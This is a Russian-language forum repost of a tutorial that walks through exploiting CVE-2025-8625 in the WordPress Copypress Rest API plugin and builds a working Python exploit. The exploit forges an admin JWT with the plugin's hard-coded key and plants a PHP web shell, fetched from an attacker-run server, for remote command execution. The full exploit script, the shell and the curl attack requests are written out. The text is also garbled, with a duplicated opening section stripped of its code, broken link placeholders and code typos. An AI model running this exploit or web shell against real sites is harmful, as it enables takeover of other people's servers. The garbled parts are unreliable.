stihl не предоставил(а) никакой дополнительной информации.
Сегодня разберем недавно найденный баг в WordPress и напишем собственный эксплоит на Python. Уязвимость содержится в copypress-rest-api, позволяет обходить запрет на скачивание плагина из каталога WP и добиваться возможности исполнения команд. Она получила номер Для просмотра ссылки Войди или Зарегистрируйся и критический статус.
Плагин Copypress Rest API расширяет возможности REST API WordPress функциями управления контентом по HTTP. Удобно для автоматического размещения постов. В сентябре 2025 года исследователь kr0d нашел критическую уязвимость в плагине, которая позволяет получить RCE.
На момент написания статьи существует две версии плагина: 1.1 и 1.2. Обе версии уязвимы к CVE-2025-8625.
Схема атаки
Автор отключил плагин
Лазейка, через которую получится достать плагин, — это SVN. Под плагины WordPress развернута система контроля версий Apache Subversions. Она позволяет просматривать исходные файлы и отслеживать, какие изменения были от версии к версии.
На странице плагина на вкладке Development осталась Для просмотра ссылки Войдиили Зарегистрируйся copypress-rest-api. Вот команда, которая скачает последнюю версию плагина в папку plugin на твою машину:
Если хочешь выкачать весь репозиторий, используй такую команду:
В подпапку plugin_full попадут две папки: trunk — актуальная версия плагина, tags — все релизы плагина. Команда будет особенно актуальна, если на момент чтения статьи автор выпустит новую версию плагина.
Если у тебя не установлен SVN, выполни sudp apt install -y subversion.
Теперь зайди в папку plugin и упакуй выбранную версию в ZIP:
Плагин готов к установке.
Если не определен секретный ключ, используется жестко вшитый 826657a98e396172f8aed51d110d529d. Спойлер: чтобы зарегистрировать собственный секретный ключ и обезопасить приложение, нужно добавить объявление COPYREAP_JWT_SECRET_KEY в wp-config.php. Но плагин нигде не сообщает об этом пользователю.
Зная секретный ключ, злоумышленник может подделать JWT-токены и выполнить запрос к API плагина от имени любого пользователя ресурса.
или Зарегистрируйся — Use of Hard-coded Cryptographic Key (жестко зашитый криптографический ключ).
Подделка токена не была бы критической без второй проблемы — возможности загрузить любой файл на сервер. Магия происходит в функции copyreap_handle_image, которая совершенно не заботится о том, что именно загружает. Нет проверки MIME-типа, не проверяется расширение файла, полностью отсутствует фильтрация. Класс проверяет корректность URL и доступность для чтения функцией file_get_contents:
Плагин сохраняет файл под тем же именем, которое было в ссылке. Зная структуру папок WP, путь к файлу легко угадать: wp-content/uploads/YYYY/MM, где YYYY — это текущий год, а MM — текущий месяц с ведущим нолем.
или Зарегистрируйся.
Для тестов удобно использовать официальный образ WordPress для Docker. Создай docker-compose.yml с таким содержимым:
Чтобы запустить, выполни команду docker compose up -d.
В собранном проекте Docker нужно включить mod_rewrite. Выполни docker exec wp a2enmod rewrite.
Проверь содержимое файла .htaccess, в базовом варианте он выглядит так:
Тебе нужно прописать правила самостоятельно:
Теперь вывод должен выглядеть так:
Перезапусти контейнер командой docker restart wp, чтобы изменения вступили в силу.
После сборки и запуска мастер установки WordPress доступен по адресу Для просмотра ссылки Войдиили Зарегистрируйся. Выполни установку, указав любые данные. В конце включи перманентные ссылки.
В админке WP перейди к разделу плагинов, добавь новый и выбери «Загрузить плагин». Укажи наш архив. Активируй плагин.
Тебе потребуется id админа. На это указывает строка 46 в файле плагина includes/class-copypress-rest-api-validation.php:
Получить данные пользователя можно, обратившись к сайту по пути /wp-json/wp/v2/users. В большинстве случаев прием сработает. В ответ ты получишь JSON с основными данными по всем пользователям сайта.
Данные пользователей в JSON
Чтобы сгенерировать JWT, напишем скрипт на Python. Создай файл CVE-2025-8625.py:
i
# Важен только URL и идентификатор, остальные данные можно выдумать
Создай токен, выполнив python CVE-2025-8625.py.
Для атакующего запроса тебе потребуется сервер, с которого плагин загрузит шелл. Создай файл шелла shell.php:
В папке с шеллом выполни python3 -m http.server 8081, чтобы запустить веб‑сервер. Проверь доступность шелла:
или Зарегистрируйся
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.12.3
< Date: Sun, 05 Oct 2025 14:01:59 GMT
< Content-type: application/octet-stream
< Content-Length: 39
< Last-Modified: Sun, 05 Oct 2025 08:54:36 GMT
<
Docker не сможет правильно резолвить твой localhost. Нужно указать IP, который укажет Docker на твою машину. Выполни ifconfig (в Windows используй ipconfig), чтобы найти правильный адрес. IP будет иметь вид 192.168.xxx.1.
Ищи подобную запись в выводе ifconfig
Все компоненты атаки готовы. Выполни в терминале:
В ответе увидишь JSON, который сообщает об успешном создании поста:
Ошибка Invalid token format указывает на то, что токен не доходит до REST API. Проверь, что в .htaccess есть такая строка:
При ошибке Invalid token or expired убедись, что не нарушил структуру данных при генерации токена. Перегенерируй токен и попробуй снова.
Проверь, что шелл лежит в папке загрузок:
Если шелл отсутствует, проверь доступность шелла из Docker:
Осталось проэксплуатировать уязвимость:
В ответ получишь информацию о текущем пользователе сервера. Шелл работает, и ты можешь спокойно заниматься эскалацией привилегий, чтобы полностью захватить сервер.
Результат работы шелла
Запускай скрипт через функцию main(), которая получит аргументы из командной строки. Два аргумента обязательные: URL таргета и файла с шеллом. Остальные аргументы имеют значения по умолчанию:
Плагин сохраняет имя файла, поэтому я сделал сервисную функцию для получения имени файла с шеллом:
Эксплоит готов к тестированию.
Плагин Copypress Rest API расширяет возможности REST API WordPress функциями управления контентом по HTTP. Удобно для автоматического размещения постов. В сентябре 2025 года исследователь kr0d нашел критическую уязвимость в плагине, которая позволяет получить RCE.
На момент написания статьи существует две версии плагина: 1.1 и 1.2. Обе версии уязвимы к CVE-2025-8625.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем, нарушение тайны переписки, осуществление прослушивания и чтение переписки граждан без их согласия преследуется по закону.
CVE-2025-8625 объединяет две проблемы:
- в исходный код зашит секретный ключ для генерации JWT;
- загрузка файлов реализована небезопасно.
Скачиваем плагин
Просто скачать архив или установить плагин через мастер установки не получится. 26 сентября команда WP отключила доступ к плагину в каталоге. Скачать архив с других ресурсов тоже не выйдет, и даже Internet Archive не поможет.Лазейка, через которую получится достать плагин, — это SVN. Под плагины WordPress развернута система контроля версий Apache Subversions. Она позволяет просматривать исходные файлы и отслеживать, какие изменения были от версии к версии.
На странице плагина на вкладке Development осталась Для просмотра ссылки Войди
svn export [URL]https://plugins.svn.wordpress.org/copypress-rest-api/trunk/[/URL] plugin
Если хочешь выкачать весь репозиторий, используй такую команду:
svn checkout [URL]https://plugins.svn.wordpress.org/copypress-rest-api/[/URL] plugin_full
В подпапку plugin_full попадут две папки: trunk — актуальная версия плагина, tags — все релизы плагина. Команда будет особенно актуальна, если на момент чтения статьи автор выпустит новую версию плагина.
Если у тебя не установлен SVN, выполни sudp apt install -y subversion.
Теперь зайди в папку plugin и упакуй выбранную версию в ZIP:
zip -r copypress-rest-api.zip .
Плагин готов к установке.
Изучаем исходники
Первое проблемное место ты найдешь в файле includes/class-copypress-jwt-token.php в конструкторе:
Код:
public function __construct() {
// Use a secret key from wp-config.php if defined
$this->secret_key = defined('COPYREAP_JWT_SECRET_KEY') ? COPYREAP_JWT_SECRET_KEY : '826657a98e396172f8aed51d110d529d';
}
Если не определен секретный ключ, используется жестко вшитый 826657a98e396172f8aed51d110d529d. Спойлер: чтобы зарегистрировать собственный секретный ключ и обезопасить приложение, нужно добавить объявление COPYREAP_JWT_SECRET_KEY в wp-config.php. Но плагин нигде не сообщает об этом пользователю.
Зная секретный ключ, злоумышленник может подделать JWT-токены и выполнить запрос к API плагина от имени любого пользователя ресурса.
info
Уязвимости с жестко зашитыми ключами относятся к Для просмотра ссылки ВойдиПодделка токена не была бы критической без второй проблемы — возможности загрузить любой файл на сервер. Магия происходит в функции copyreap_handle_image, которая совершенно не заботится о том, что именно загружает. Нет проверки MIME-типа, не проверяется расширение файла, полностью отсутствует фильтрация. Класс проверяет корректность URL и доступность для чтения функцией file_get_contents:
Код:
if ( ! filter_var( $image_url, FILTER_VALIDATE_URL ) ) {
return new WP_Error( 'invalid_image_url', 'Provided image URL is invalid.' );
}
$image_data = file_get_contents( $image_url );
if ( ! $image_data ) {
return new WP_Error( 'image_download_failed', 'Failed to download image.' );
}
Плагин сохраняет файл под тем же именем, которое было в ссылке. Зная структуру папок WP, путь к файлу легко угадать: wp-content/uploads/YYYY/MM, где YYYY — это текущий год, а MM — текущий месяц с ведущим нолем.
Код:
$filename = basename( $image_url );
$upload_dir = wp_upload_dir();
$upload_path = $upload_dir['path'] . '/' . $filename;
file_put_contents( $upload_path, $image_data );
Собираем стенд
www
Все исходники ты можешь скачать Для просмотра ссылки ВойдиДля тестов удобно использовать официальный образ WordPress для Docker. Создай docker-compose.yml с таким содержимым:
Код:
version: '3.9'
services:
wordpress:
image: wordpress:latest
container_name: wp
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
volumes:
- ./wp_data:/var/www/html
db:
image: mysql:5.7
container_name: wp_db
restart: always
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- ./db_data:/var/lib/mysql
В собранном проекте Docker нужно включить mod_rewrite. Выполни docker exec wp a2enmod rewrite.
Проверь содержимое файла .htaccess, в базовом варианте он выглядит так:
Код:
$ sudo docker exec wp cat /var/www/html/.htaccess
# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
# END WordPress
Тебе нужно прописать правила самостоятельно:
Код:
docker exec wp bash -c 'echo -e "# BEGIN WordPress\nSetEnvIf Authorization "\(.*\)" HTTP_AUTHORIZATION=\$1\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress" > /var/www/html/.htaccess'
Теперь вывод должен выглядеть так:
Код:
$ sudo docker exec wp cat /var/www/html/.htaccess
# BEGIN WordPress
SetEnvIf Authorization (.*) HTTP_AUTHORIZATION=$1
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
IfModule>
# END WordPress
Перезапусти контейнер командой docker restart wp, чтобы изменения вступили в силу.
После сборки и запуска мастер установки WordPress доступен по адресу Для просмотра ссылки Войди
В админке WP перейди к разделу плагинов, добавь новый и выбери «Загрузить плагин». Укажи наш архив. Активируй плагин.
Атакуем стенд
Для начала посмотри на код функции copyreap_generate_token, чтобы понимать, как правильно сгенерировать JWT:
Код:
public function copyreap_generate_token($user) {
$issued_at = time();
$expiration_time = $issued_at + 7200; // Token expires in 2 hour
$header = json_encode(['typ' => 'JWT', 'alg' => 'HS256']);
$payload = json_encode([
'iss' => get_bloginfo('url'),
'iat' => $issued_at,
'exp' => $expiration_time,
'data' => [
'user_id' => $user->ID,
'username' => $user->user_login,
'email' => $user->user_email
]
]);
$base64_url_header = $this->copyreap_base64UrlEncode($header);
$base64_url_payload = $this->copyreap_base64UrlEncode($payload);
$signature = hash_hmac('sha256', $base64_url_header . '.' . $base64_url_payload, $this->secret_key, true);
$base64_url_signature = $this->copyreap_base64UrlEncode($signature);
return $base64_url_header . '.' . $base64_url_payload . '.' . $base64_url_signature;
}
Тебе потребуется id админа. На это указывает строка 46 в файле плагина includes/class-copypress-rest-api-validation.php:
Код:
$jwt = new COPYREAP_JWT_Token();
$user_data = $jwt->copyreap_validate_token($token);
if (!$user_data) {
return new WP_Error('invalid_token', 'Invalid token or expired', ['status' => 403]);
}
wp_set_current_user($user_data['user_id']);
Получить данные пользователя можно, обратившись к сайту по пути /wp-json/wp/v2/users. В большинстве случаев прием сработает. В ответ ты получишь JSON с основными данными по всем пользователям сайта.
Чтобы сгенерировать JWT, напишем скрипт на Python. Создай файл CVE-2025-8625.py:
i
Код:
mport jwt
import time
def generate_token(url, user_id, username, email):
# Секретный ключ из исходников плагина
secret = '826657a98e396172f8aed51d110d529d'
issued_at = int(time.time())
expiration_time = issued_at + 7200
payload = {
'iss': url,
'iat': issued_at,
'exp': expiration_time,
'data': {
'user_id': user_id,
'username': username,
'email': email
}
}
token = jwt.encode(payload, secret, algorithm='HS256')
if isinstance(token, (bytes, bytearray)):
token = token.decode('utf-8')
return token
# Важен только URL и идентификатор, остальные данные можно выдумать
Код:
token = generate_token("http://localhost:8080", 1, "admin", "admin@example.com")
print(token)
warning
Для генерации JWT используй библиотеку PyJWT. Если она не установлена, поставь: pip install PyJWT.Создай токен, выполнив python CVE-2025-8625.py.
Для атакующего запроса тебе потребуется сервер, с которого плагин загрузит шелл. Создай файл шелла shell.php:
Код:
<?php
echo system($_GET['cmd']);
?>
$ curl -v
Для просмотра ссылки Войди - Host localhost:8081 was resolved.
- IPv6: ::1
- IPv4: 127.0.0.1
- Trying [::1]:8081...
- connect to ::1 port 8081 from ::1 port 55618 failed: Connection refused
- Trying 127.0.0.1:8081...
- Connected to localhost (127.0.0.1) port 8081
GET /shell.php HTTP/1.1
Host: localhost:8081
User-Agent: curl/8.5.0
Accept: /
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.12.3
< Date: Sun, 05 Oct 2025 14:01:59 GMT
< Content-type: application/octet-stream
< Content-Length: 39
< Last-Modified: Sun, 05 Oct 2025 08:54:36 GMT
<
Код:
<?php
echo system($_GET['cmd']);
* Closing connection
?>
Docker не сможет правильно резолвить твой localhost. Нужно указать IP, который укажет Docker на твою машину. Выполни ifconfig (в Windows используй ipconfig), чтобы найти правильный адрес. IP будет иметь вид 192.168.xxx.1.
Все компоненты атаки готовы. Выполни в терминале:
Код:
curl -v -X POST "http://localhost:8080/wp-json/copypress-api/v1/posts" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjgwODAiLCJpYXQiOjE3NTk2NzMyNDIsImV4cCI6MTc1OTY4MDQ0MiwiZGF0YSI6eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZW1haWwiOiJhZG1pbkBleGFtcGxlLmNvbSJ9fQ.gvWVbQ3j_Hvt4qwQNzDIjAjE9leaJ1Cdwpcfkp4Ualw" \
-H "Content-Type: application/json" \
-d '{
"title": "Test Post",
"content": "Test Content",
"image": "http://192.168.122.1:8081/shell.php"
}'
В ответе увидишь JSON, который сообщает об успешном создании поста:
Код:
{"message":"Post created successfully","status":200,"data":{"ID":27,"post_author":"1","post_date":"2025-10-06 12:24:01","post_date_gmt":"0000-00-00 00:00:00","post_content":"Test Content","post_title":"Test Post","post_excerpt":"","post_status":"draft","comment_status":"open","ping_status":"open","post_password":"","post_name":"","to_ping":"","pinged":"","post_modified":"2025-10-06 12:24:01","post_modified_gmt":"0000-00-00 00:00:00","post_content_filtered":"","post_parent":0,"guid":"http:\/\/localhost:8080\/?p=27","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}}
Возможные ошибки
Если в ответе ты видишь главную страницу сайта или любой другой HTML-код, значит, ошибся при вводе в .htaccess или забыл настроить перманентные ссылки.Ошибка Invalid token format указывает на то, что токен не доходит до REST API. Проверь, что в .htaccess есть такая строка:
SetEnvIf Authorization (.*) HTTP_AUTHORIZATION=$1
При ошибке Invalid token or expired убедись, что не нарушил структуру данных при генерации токена. Перегенерируй токен и попробуй снова.
Проверь, что шелл лежит в папке загрузок:
docker exec wp ls /var/www/html/wp-content/uploads/YYYY/MM/
Если шелл отсутствует, проверь доступность шелла из Docker:
Код:
$ docker exec wp curl -I --max-time 5 "http://192.168.56.1:8081/shell.php"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.12.2
Date: Mon, 06 Oct 2025 12:36:47 GMT
Content-type: application/octet-stream
Content-Length: 41
Last-Modified: Mon, 06 Oct 2025 09:14:59 GMT
Осталось проэксплуатировать уязвимость:
curl [URL]http://localhost:8080/wp-content/uploads/XXXX/YY/shell.php?cmd=id[/URL]
В ответ получишь информацию о текущем пользователе сервера. Шелл работает, и ты можешь спокойно заниматься эскалацией привилегий, чтобы полностью захватить сервер.
Создаем эксплоит
Ты прошел все шаги атаки, осталось записать этот путь в виде скрипта Python. Добавь в файл CVE-2025-8625.py недостающие импорты:
Код:
import argparse
import requests
from datetime import datetime
from urllib.parse import urlparse, unquote
import os
Запускай скрипт через функцию main(), которая получит аргументы из командной строки. Два аргумента обязательные: URL таргета и файла с шеллом. Остальные аргументы имеют значения по умолчанию:
Код:
def main():
parser = argparse.ArgumentParser(description="WordPress Copypress RCE Exploit")
parser.add_argument("--url", required=True, help="Site URL, e.g., http://localhost:8080")
parser.add_argument("--shell", required=True, help="Shell URL, e.g., http://192.168.100.1:8081/shell.php")
parser.add_argument("--cmd", default="id", help="Command to execute (default: id)")
parser.add_argument("--id", type=int, default=1, help="User ID (default: 1)")
parser.add_argument("--login", default="admin", help="Username (default: admin)")
parser.add_argument("--email", default="admin@example.com", help="Email (default: admin@example.com)")
args = parser.parse_args()
token = generate_token(args.url, args.id, args.login, args.email)
print(f"JWT Token: {token}")
exploit(args.url, token, args.shell, args.cmd)
if name == "main":
main()
В функции эксплуатации тебе нужно подготовить и выполнить два запроса. Первый — атакующий запрос с загрузкой шелла. Если WordPress ответил Post created successfully, выполни команду эксплуатации, чтобы получить PoC:
def exploit(url, token, shell_url, cmd):
# Endpoing api copypress
attack_url = f"{url}/wp-json/copypress-api/v1/posts"
# Заголовок авторизации и тип контента
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
}
# Тестовые данные для поста и адрес шелла
data = {
"title": "Test Post",
"content": "Test Content",
"image": shell_url
}
response = requests.post(attack_url, headers=headers, json=data)
print(f"Post creation status code: {response.status_code}")
# Если пост успешно создан
if response.status_code == 200 and "Post created successfully" in response.text:
# WP кладет файл не просто в uploads, а в uploads/yyyy/mm/
now = datetime.now()
year = now.strftime("%Y")
month = now.strftime("%m")
# Выделение имени файла с шеллом
shell_name = shell_filename_from_url(shell_url)
if not shell_name:
print("Invalid shell URL provided.")
return
shell_path = f"{url}/wp-content/uploads/{year}/{month}/{shell_name}?cmd={cmd}"
print(f"Attempting RCE at: {shell_path}")
rce_response = requests.get(shell_path)
# Эксплоит успешно отработал, выводим результат
if rce_response.status_code == 200:
print(f"RCE response:\n{rce_response.text}")
# Что-то пошло не так, стоит проверить доступность файла с шеллом
else:
print(f"RCE request failed with status code: {rce_response.status_code}")
# Не удалось создать пост, вероятно, CVE отсутствует
else:
print("Post creation failed")
Плагин сохраняет имя файла, поэтому я сделал сервисную функцию для получения имени файла с шеллом:
Код:
def shell_filename_from_url(shell_url):
parsed = urlparse(shell_url)
# Путь без query/fragment
path = parsed.path
if not path:
return ''
# Basename и декодирование %-последовательностей
name = os.path.basename(path)
return unquote(name)
Эксплоит готов к тестированию.